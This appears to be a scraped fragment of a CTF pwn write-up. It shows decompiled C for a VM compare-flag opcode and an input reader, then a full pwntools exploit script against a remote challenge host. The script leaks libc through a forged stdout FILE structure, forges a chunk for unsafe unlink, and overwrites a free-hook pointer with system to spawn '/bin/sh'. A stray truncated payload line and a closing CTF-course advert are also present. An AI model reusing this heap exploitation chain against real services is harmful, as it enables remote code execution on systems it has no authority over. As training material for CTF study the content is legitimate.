struct vmpInfo *__fastcall vmp_opcode_0x08_setCmpFlag(struct vmpInfo *result, unsigned int subValue, char size, __int16 a4) { result->global->cmpReg |= a4 & 1; result->global->cmpReg |= a4 & 0x800; if ( (signed int)subValue <= 0 || subValue >> (size - 1) ) { if ( subValue ) { result->global->cmpReg |= 0x80u; // 小于标志 result->global->cmpReg &= 0xFFFFFFBF; } else { result->global->cmpReg &= 0xFFFFFF7F; result->global->cmpReg |= 0x40u; // 等于标志 } } else { result->global->cmpReg &= 0xFFFFFF7F; result->global->cmpReg &= 0xFFFFFFBF; } if ( !(subValue & 1) ) result->global->cmpReg |= 4u; result->global->cmpReg1 = result->global->cmpReg; return result; }
char *__fastcall readBuf(char *buf, int size) { char *result; // rax int i; // [rsp+1Ch] [rbp-14h] char s; // [rsp+20h] [rbp-10h] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); memset(&s, 0, 8uLL); for ( i = 0; i < size; ++i ) { if ( read(0, &s, 1uLL) <= 0 ) exit(1); if ( s == 0xA ) break; buf[i] = s; } result = (char *)(unsigned int)i; if ( i == size ) { result = &buf[i]; *result = 0; } return result; }
ayload = p64(0x110) + p64(0xf1) + p64(thunk_ptr - 0x18) + p64(thunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0)
#!/usr/bin/python # coding:utf-8 from pwn import * from zio import * #context(log_level='debug') __malloc_hook_ptr_offset = 0x3C3EF0 libc_base = 0 system_offset = 0x45390 freehookBk_offset = 0x202058 globalVar_offset = 0x202080 def menu(cmd): io.sendlineafter("4.quit",str(cmd)) def add(size): menu(1) io.sendlineafter("Input size : ",str(size)) def delete(index): menu(2) io.sendlineafter("Input idx : ",str(index)) def edit(index,data): menu(3) io.sendlineafter("Input idx : ",str(index)) io.sendlineafter("Input text : ",data) if __name__ == '__main__' : #io = process('./pwn') io = remote('154.8.174.214', 10001) #get libcBase edit(-6, p64(0xfbad1800)+p64(0x0)*3+'\x60') data = u64(io.recv(6).ljust(8,'\x00')) libc_base = data - 0x3C56A4 print 'libc_base = '+ str(hex(libc_base)) system_addr = libc_base + system_offset print 'system_addr = '+ str(hex(system_addr)) #get pwn base __malloc_hook_ptr = libc_base + __malloc_hook_ptr_offset print '__malloc_hook_ptr = ' + str(hex(__malloc_hook_ptr)) edit(-6, p64(0xfbad1800)+p64(0x0)*3+ p64(__malloc_hook_ptr)) pwn_malloc_hook_ptr = u64(io.recv(6).ljust(8,'\x00')) print 'pwn_malloc_hook_ptr = '+ str(hex(pwn_malloc_hook_ptr)) pwn_base = pwn_malloc_hook_ptr - 0x202020 print 'pwn_base = '+ str(hex(pwn_base)) thunk_ptr = pwn_base + globalVar_offset + 0x38 feehookBk_addr = pwn_base + freehookBk_offset print 'thunk_ptr = '+ str(hex(thunk_ptr)) print 'feehookBk_addr = '+ str(hex(feehookBk_addr)) add(248) add(248) add(248) add(248) add(248) add(248) print 'add ok' payload = p64(0x110) + p64(0xf1) + p64(thunk_ptr - 0x18) + p64(thunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0) edit(3, payload) print 'delete 4' delete(4) payload = p64(0xF8) + p64(feehookBk_addr) edit(3, payload) print 'feehookBk_addr ok' payload = p64(system_addr) edit(2, payload) print 'system call ok' edit(1, '/bin/sh\x00') print 'shell bin' delete(1) print 'get shell' io.interactive() #gdb.attach(proc.pidof(io)[0]) print 'pause...'
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》，视频+靶场+题目！助力进入CTF世界
